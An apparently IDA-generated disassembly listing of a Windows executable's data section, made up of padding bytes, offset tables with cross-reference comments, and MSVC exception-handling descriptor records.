		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 4
		dd 3E3h	dup(0)
off_43E000	dd offset sub_4017C6	; DATA XREF: sub_4036D0+3FEo
off_43E004	dd offset byte_4367D0	; DATA XREF: sub_403C70+2o
off_43E008	dd offset off_402009	; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C	dd offset sub_4021F8	; DATA XREF: ___:00407075o
off_43E010	dd offset loc_402171	; DATA XREF: sub_409AE0+4o
					; sub_409B40+Bo ...
off_43E014	dd offset loc_402027	; DATA XREF: sub_40ADC0+2o
					; sub_40AE10+1Co
		dd offset byte_4367D0
		align 10h
off_43E020	dd offset loc_401ACD	; DATA XREF: ___:0040B118o
					; sub_40B170+1Eo
flt_43E024	dd 1.0			; DATA XREF: ___:0040B7C6r
off_43E028	dd offset sub_401A3C	; DATA XREF: sub_40F600+157o
					; sub_40FDA0+1Do
		dd offset sub_40212B
		dd 0
off_43E034	dd offset sub_401AB9	; DATA XREF: sub_40F600+142o
					; sub_40FDA0+23o
off_43E038	dd offset loc_40115E	; DATA XREF: sub_411860+36o
					; sub_411910+1Do
		dd offset loc_401FE6
		dd 0
off_43E044	dd offset sub_4014BF	; DATA XREF: ___:0041318Do
					; sub_413220+1Fo
		dd offset sub_401CF8
		align 10h
off_43E050	dd offset sub_4019BF	; DATA XREF: sub_416C00+6o
					; sub_417DF0+8o
		dd offset sub_4020A9
		dd 0
off_43E05C	dd offset loc_401C99	; DATA XREF: sub_416C60+6o
					; sub_417E20+8o
		dd offset sub_401230
		align 8
off_43E068	dd offset loc_40191A	; DATA XREF: sub_416CC0o sub_41FBD0+8o
		dd offset sub_401CDF
		dd 0
off_43E074	dd offset sub_40111D	; DATA XREF: sub_416D10o
					; sub_4190B0+36o
off_43E078	dd offset loc_4014A1	; DATA XREF: sub_417BC0+68o
off_43E07C	dd offset sub_401064	; DATA XREF: sub_417C60+8Bo
off_43E080	dd offset sub_40138E	; DATA XREF: sub_417D30+74o
off_43E084	dd offset loc_401B6D	; DATA XREF: sub_417E50+7Bo
off_43E088	dd offset loc_40202C	; DATA XREF: sub_417F10+7Bo
off_43E08C	dd offset loc_401F1E	; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Fh,	40h, 0
off_43E094	dd offset loc_401FD7	; DATA XREF: sub_418080+3Eo
off_43E098	dd offset sub_401E4C	; DATA XREF: sub_418100+3Eo
off_43E09C	dd offset loc_40100A	; DATA XREF: sub_418180+10o
off_43E0A0	dd offset loc_4010B4	; DATA XREF: sub_4181B0+4Bo
off_43E0A4	dd offset sub_401BA4	; DATA XREF: sub_418230+10o
off_43E0A8	dd offset sub_401712	; DATA XREF: sub_418260+10o
off_43E0AC	dd offset sub_401613	; DATA XREF: sub_418290+6Bo
dbl_43E0B0	dq -3.0517578125e-5	; DATA XREF: sub_4198C0+22r
		dd 0
off_43E0BC	dd offset sub_401AF5	; DATA XREF: sub_41A010+Bo
					; sub_41A110+6o
off_43E0C0	dd offset sub_401E74	; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4	dd offset sub_4013FC	; DATA XREF: ___:0041B3A2o
					; ___:0041B48Do
		dd offset sub_40167C
		align 10h
off_43E0D0	dd offset loc_4019E7	; DATA XREF: sub_41D670+77o
					; sub_41D760+1Do
		dd offset sub_401C80
		dd 0
off_43E0DC	dd offset sub_4011FE	; DATA XREF: sub_426450+32o
		dd offset sub_401A64
		dd offset sub_401A41
		dd 0
off_43E0EC	dd offset loc_4016D1	; DATA XREF: sub_4264C0+6Ao
					; sub_426560+1Do
		dd offset sub_401A64
		dd offset byte_4367D0
		dd 0
off_43E0FC	dd offset loc_401AAF	; DATA XREF: sub_4269A0+32o
		dd offset sub_401A64
		dd offset sub_401366
		dd 0
off_43E10C	dd offset sub_40181B	; DATA XREF: sub_426EB0+32o
		dd offset sub_401A64
		dd offset sub_401E92
		dd 0
off_43E11C	dd offset sub_40222A	; DATA XREF: sub_427590+32o
		dd offset sub_401A64
		dd offset sub_401A05
		dd 0
off_43E12C	dd offset sub_401C2B	; DATA XREF: sub_427DC0+32o
		dd offset sub_4021A8
		dd offset sub_4015AF
		dd 0
off_43E13C	dd offset loc_402068	; DATA XREF: sub_427E30+7Ao
					; sub_427EF0+1Do
		dd offset sub_4021A8
		dd offset byte_4367D0
		dd 0
off_43E14C	dd offset sub_4021B2	; DATA XREF: sub_428160+4Bo
					; sub_428250+10o
		dd offset sub_4021A8
		dd offset sub_401D2A
		dd 0
off_43E15C	dd offset loc_40112C	; DATA XREF: sub_4299C0+32o
					; sub_429A60+9o
		dd offset sub_4021A8
		dd offset sub_40137A
		dd 0
off_43E16C	dd offset loc_401B04	; DATA XREF: sub_429D00+32o
		dd offset sub_4021A8
		dd offset sub_4010AF
		dd 0
off_43E17C	dd offset sub_4017A8	; DATA XREF: sub_42A090+32o
		dd offset sub_4021A8
		dd offset sub_40188E
		dd 0
off_43E18C	dd offset sub_4020D1	; DATA XREF: sub_42B1D0+27o
dword_43E190	dd 0				dd 8, 0
off_43E19C	dd offset byte_4367D0	; DATA XREF: sub_42B240+39o
off_43E1A0	dd offset sub_401F41	; DATA XREF: ___:0042B312o
		dd offset sub_4021A8
		dd offset sub_40134D
		align 10h
off_43E1B0	dd offset sub_401B22	; DATA XREF: sub_42B480+32o
		dd offset sub_4021A8
		dd offset sub_40152D
		align 10h
		dd offset loc_4015F0
		dd offset sub_4021A8
		dd offset sub_4019E2
		align 10h
		dd offset dword_43E348
off_43E1D4	dd offset loc_436811	; DATA XREF: ___:00436808o
					; ___:off_4438C0o ...
		dd 0FFFFFFFFh, 436BACh,	436BC0h, 4Dh dup(0)
off_43E318	dd offset off_446CE0	; DATA XREF: ___:0043E330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E318
		dd 0
		db    0			; DATA XREF: ___:0043E358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43E330h
dword_43E348	dd 3 dup(0)			dd offset off_446CE0
		dd offset unk_43E338
		dd 45h dup(0)
dword_43E470	dd 19930520h, 5, 43E490h, 5 dup(0)		dd 0FFFFFFFFh, 437B2Ch,	0
		dd offset dword_436FCC+0B34h
		dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0	dd 19930520h, 3Dh, 43E4E0h, 5 dup(0)		dd 0FFFFFFFFh, 437B70h,	0
		dd offset loc_437B7B
		dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
		dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
		dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h,	0Dh, 437C2Eh, 0Eh
		dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h,	11h, 437C66h, 12h
		dd 437C74h, 13h, 437C82h, 14h, 437C90h,	15h, 437C9Eh, 16h
		dd 437CACh, 17h, 437CBAh, 18h, 437CC8h,	19h, 437CD6h, 1Ah
		dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h,	1Dh, 437D0Eh, 1Eh
		dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h,	21h, 437D46h, 22h
		dd 437D54h, 23h, 437D62h, 24h, 437D70h,	25h, 437D7Eh, 26h
		dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h,	29h, 437DB6h, 2Ah
		dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h,	2Dh, 437DEEh, 2Eh
		dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h,	31h, 437E26h, 32h
		dd 437E34h, 33h, 437E42h, 34h, 437E50h,	35h, 437E5Eh, 36h
		dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h,	39h, 437E96h, 3Ah
		dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700	dd 19930520h, 1, 43E720h, 5 dup(0)		dd 0FFFFFFFFh, 437FA0h,	2 dup(0)
dword_43E730	dd 19930520h, 2, 43E750h, 5 dup(0)		dd 0FFFFFFFFh, 437FC0h,	0
		dd offset loc_437FC8
		dd 2 dup(0)
dword_43E768	dd 19930520h, 2, 43E788h, 5 dup(0)		dd 0FFFFFFFFh, 437FF0h,	0
		dd offset loc_437FF8
		align 10h
dword_43E7A0	dd 19930520h, 1, 43E7C0h, 5 dup(0)		dd 0FFFFFFFFh, 438020h,	2 dup(0)
dword_43E7D0	dd 19930520h, 7, 43E7F0h, 5 dup(0)		dd 0FFFFFFFFh, 438040h,	0
		dd offset loc_438048
		dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
		dd 2 dup(0)
dword_43E830	dd 19930520h, 7, 43E850h, 5 dup(0)		dd 0FFFFFFFFh, 4380C0h,	0
		dd offset loc_4380C8
		dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
		dd 2 dup(0)
dword_43E890	dd 19930520h, 11h, 43E8B0h, 5 dup(0)		dd 0FFFFFFFFh, 438140h,	0FFFFFFFFh, 438148h, 0FFFFFFFFh
		dd 438150h, 0FFFFFFFFh,	438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
		dd 438168h, 0FFFFFFFFh,	438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
		dd 438180h, 0FFFFFFFFh,	438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
		dd 438198h, 0FFFFFFFFh,	4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
		dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h,	4 dup(0)
dword_43E948	dd 19930520h, 0Bh, 43E968h, 5 dup(0)		dd 0FFFFFFFFh, 438200h,	0
		dd offset loc_438208
		dd 0FFFFFFFFh, 438210h,	2, 438218h, 0FFFFFFFFh,	438220h
		dd 0FFFFFFFFh, 438228h,	0FFFFFFFFh, 438230h, 0FFFFFFFFh
		dd 438238h, 7, 438243h,	7, 43824Bh, 9, 438253h,	4 dup(0)
dword_43E9D0	dd 19930520h, 31h, 43E9F0h, 5 dup(0)		dd 0FFFFFFFFh, 438280h,	0
		dd offset loc_43828B
		dd 0
		dd offset loc_438296
		dd 0FFFFFFFFh, 4382A1h,	0FFFFFFFFh, 4382ACh, 4,	4382B7h
		dd 0FFFFFFFFh, 4382C2h,	6, 4382CDh, 6, 4382D8h,	8, 4382E3h
		dd 0FFFFFFFFh, 4382EEh,	0Ah, 4382F9h, 0Ah, 438304h, 0Ah
		dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h,	0Ah, 438330h, 0FFFFFFFFh
		dd 43833Bh, 11h, 438346h, 11h, 438351h,	0FFFFFFFFh, 43835Ch
		dd 0FFFFFFFFh, 438367h,	15h, 438372h, 0FFFFFFFFh, 43837Dh
		dd 0FFFFFFFFh, 438388h,	18h, 438393h, 0FFFFFFFFh, 43839Eh
		dd 0FFFFFFFFh, 4383A9h,	0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
		dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h,	1Dh, 4383E0h, 1Dh
		dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h,	22h, 43840Ch, 22h
		dd 438417h, 22h, 438422h, 22h, 43842Dh,	22h, 438438h, 22h
		dd 438443h, 22h, 43844Eh, 22h, 438459h,	22h, 438464h, 22h
		dd 43846Fh, 22h, 43847Ah, 22h, 438485h,	22h, 438490h, 0Ch dup(0)
dword_43EBA8	dd 19930520h, 2, 43EBC8h, 5 dup(0)		dd 0FFFFFFFFh, 438538h,	0
		dd offset loc_438530
		align 10h
dword_43EBE0	dd 19930520h, 2, 43EC00h, 5 dup(0)dword_43EC00	dd 0FFFFFFFFh, 43857Bh,	0		dd offset loc_438570
		dd 2 dup(0)
dword_43EC18	dd 19930520h, 3, 43EC38h, 5 dup(0)		dd 0FFFFFFFFh, 4385B0h,	0
		dd offset loc_4385BB
		dd 0
		dd offset loc_4385C6
		dd 2 dup(0)
dword_43EC58	dd 19930520h, 1, 43EC78h, 5 dup(0)		dd 0FFFFFFFFh, 4385F0h,	2 dup(0)
dword_43EC88	dd 19930520h, 1, 43ECA8h, 5 dup(0)		dd 0FFFFFFFFh, 438610h,	2 dup(0)
dword_43ECB8	dd 19930520h, 2, 43ECD8h, 5 dup(0)		dd 0FFFFFFFFh, 438630h,	0
		dd offset loc_438638
		align 10h
dword_43ECF0	dd 19930520h, 56h, 43ED10h, 5 dup(0)		dd 0FFFFFFFFh, 438650h,	0
		dd offset loc_43865B
		dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
		dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
		dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h,	0Dh, 4386DEh, 0Eh
		dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh,	11h, 43870Ah, 12h
		dd 438715h, 13h, 438720h, 14h, 43872Bh,	15h, 438736h, 16h
		dd 438741h, 17h, 43874Ch, 18h, 438757h,	19h, 438762h, 1Ah
		dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h,	1Dh, 43878Eh, 1Eh
		dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh,	1Eh, 4387BAh, 1Eh
		dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh,	1Eh, 4387E6h, 1Eh
		dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh,	1Eh, 438807h, 2Ah
		dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh,	2Dh, 438828h, 1Eh
		dd 438828h, 1Eh, 438833h, 30h, 43883Eh,	1Eh, 43883Eh, 1Eh
		dd 438849h, 33h, 438854h, 1Eh, 438854h,	1Eh, 43885Fh, 36h
		dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h,	39h, 438880h, 1Eh
		dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h,	1Eh, 438896h, 1Eh
		dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh,	1Eh, 4388B7h, 42h
		dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh,	45h, 4388D8h, 1Eh
		dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh,	1Eh, 4388EEh, 1Eh
		dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h,	1Eh, 43890Fh, 4Eh
		dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h,	51h, 438930h, 52h
		dd 43893Bh, 53h, 438946h, 54h, 438951h,	13h dup(0)
		dd offset off_4438C0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	436800h, 2 dup(0)
		dd offset off_4438E0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C2Ah, 2 dup(0)
		dd offset off_443908
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C30h, 0
dword_43F068	dd 3, 43F048h, 43F028h,	43F008h, 2 dup(0)dword_43F080	dd 0							; ___:0040A997o
		dd offset dword_436BD4+62h
		dd 0
		dd offset dword_43F068
		dd 2 dup(0)
dword_43F098	dd 19930520h, 1, 43F0B8h, 5 dup(0)		dd 0FFFFFFFFh, 438A30h,	2 dup(0)
dword_43F0C8	dd 19930520h, 1, 43F0E8h, 5 dup(0)		dd 0FFFFFFFFh, 438A50h,	2 dup(0)
dword_43F0F8	dd 19930520h, 3, 43F118h, 5 dup(0)		dd 0FFFFFFFFh, 438A70h,	0
		dd offset loc_438A87
		dd 1, 438A8Fh, 2 dup(0)
dword_43F138	dd 19930520h, 1, 43F158h, 5 dup(0)		dd 0FFFFFFFFh, 438AB0h,	2 dup(0)
dword_43F168	dd 19930520h, 2, 43F188h, 1, 43F198h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F1B0h, 4	dup(0)
		dd offset sub_40AE52
		dd 2 dup(0)
dword_43F1C8	dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F210h, 4	dup(0)
		dd offset sub_40AFD1
		dd 2 dup(0)
dword_43F228	dd 19930520h, 4, 43F248h, 5 dup(0)		dd 0FFFFFFFFh, 438AF0h,	0
		dd offset loc_438AFB
		dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270	dd 19930520h, 4, 43F290h, 5 dup(0)		dd 0FFFFFFFFh, 438B40h,	0
		dd offset loc_438B4B
		dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8	dd 19930520h, 3, 43F2D8h, 5 dup(0)		dd 0FFFFFFFFh, 438B90h,	0FFFFFFFFh, 438B98h, 0FFFFFFFFh
		dd 438BA0h, 2 dup(0)
dword_43F2F8	dd 19930520h, 3, 43F318h, 5 dup(0)		dd 0FFFFFFFFh, 438BC0h,	0
		dd offset loc_438BC8
		dd 1, 438BD0h, 2 dup(0)
dword_43F338	dd 19930520h, 1, 43F358h, 5 dup(0)		dd 0FFFFFFFFh, 438BF0h,	2 dup(0)
dword_43F368	dd 19930520h, 4, 43F388h, 5 dup(0)		dd 0FFFFFFFFh, 438C10h,	0FFFFFFFFh, 438C18h, 0FFFFFFFFh
		dd 438C20h, 2, 438C28h,	2 dup(0)
dword_43F3B0	dd 19930520h, 1, 43F3D0h, 5 dup(0)		dd 0FFFFFFFFh, 438C50h,	2 dup(0)
dword_43F3E0	dd 19930520h, 4, 43F400h, 5 dup(0)		dd 0FFFFFFFFh, 438C70h,	0
		dd offset loc_438C7B
		dd 0
		dd offset loc_438C86
		dd 2, 438C91h, 2 dup(0)
dword_43F428	dd 19930520h, 1, 43F448h, 5 dup(0)		dd 0FFFFFFFFh, 438CC0h,	2 dup(0)
dword_43F458	dd 19930520h, 5, 43F478h, 5 dup(0)		dd 0FFFFFFFFh, 438CE0h,	0
		dd offset loc_438CEB
		dd 0
		dd offset loc_438CF6
		dd 0
		dd offset loc_438D01
		dd 0
		dd offset loc_438D0C
		dd 2 dup(0)
dword_43F4A8	dd 19930520h, 2, 43F4C8h, 5 dup(0)		dd 0FFFFFFFFh, 438D40h,	0
		dd offset loc_438D4B
		align 10h
dword_43F4E0	dd 19930520h, 2, 43F500h, 5 dup(0)		dd 0FFFFFFFFh, 438D70h,	0
		dd offset loc_438D7B
		dd 2 dup(0)
dword_43F518	dd 19930520h, 4, 43F538h, 5 dup(0)		dd 0FFFFFFFFh, 438DA0h,	0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
		dd 438DB0h, 0FFFFFFFFh,	438DB8h, 2 dup(0)
dword_43F560	dd 19930520h, 8, 43F580h, 5 dup(0)		dd 0FFFFFFFFh, 438DE0h,	0
		dd offset loc_438DEB
		dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
		dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0	dd 19930520h, 0Dh, 43F5F0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0FFFFFFFFh, 438E6Bh, 1,	438E76h
		dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
		dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
		dd 438EE4h, 4 dup(0)
dword_43F668	dd 19930520h, 6, 43F688h, 5 dup(0)		dd 0FFFFFFFFh, 438F20h,	0
		dd offset loc_438F28
		dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0	dd 19930520h, 6, 43F6E0h, 5 dup(0)		dd 0FFFFFFFFh, 438F70h,	0
		dd offset loc_438F78
		dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718	dd 19930520h, 3, 43F738h, 5 dup(0)		dd 0FFFFFFFFh, 438FC0h,	0
		dd offset loc_438FC8
		dd 1, 438FD0h, 2 dup(0)
dword_43F758	dd 19930520h, 1, 43F778h, 5 dup(0)		dd 0FFFFFFFFh, 438FF0h,	2 dup(0)
dword_43F788	dd 19930520h, 7, 43F7A8h, 5 dup(0)		dd 0FFFFFFFFh, 439010h,	0
		dd offset loc_439018
		dd 0FFFFFFFFh, 439020h,	0FFFFFFFFh, 439028h, 3,	439030h
		dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8	dd 19930520h, 24h, 43F808h, 5 dup(0)		dd 0FFFFFFFFh, 439070h,	0
		dd offset loc_439078
		dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
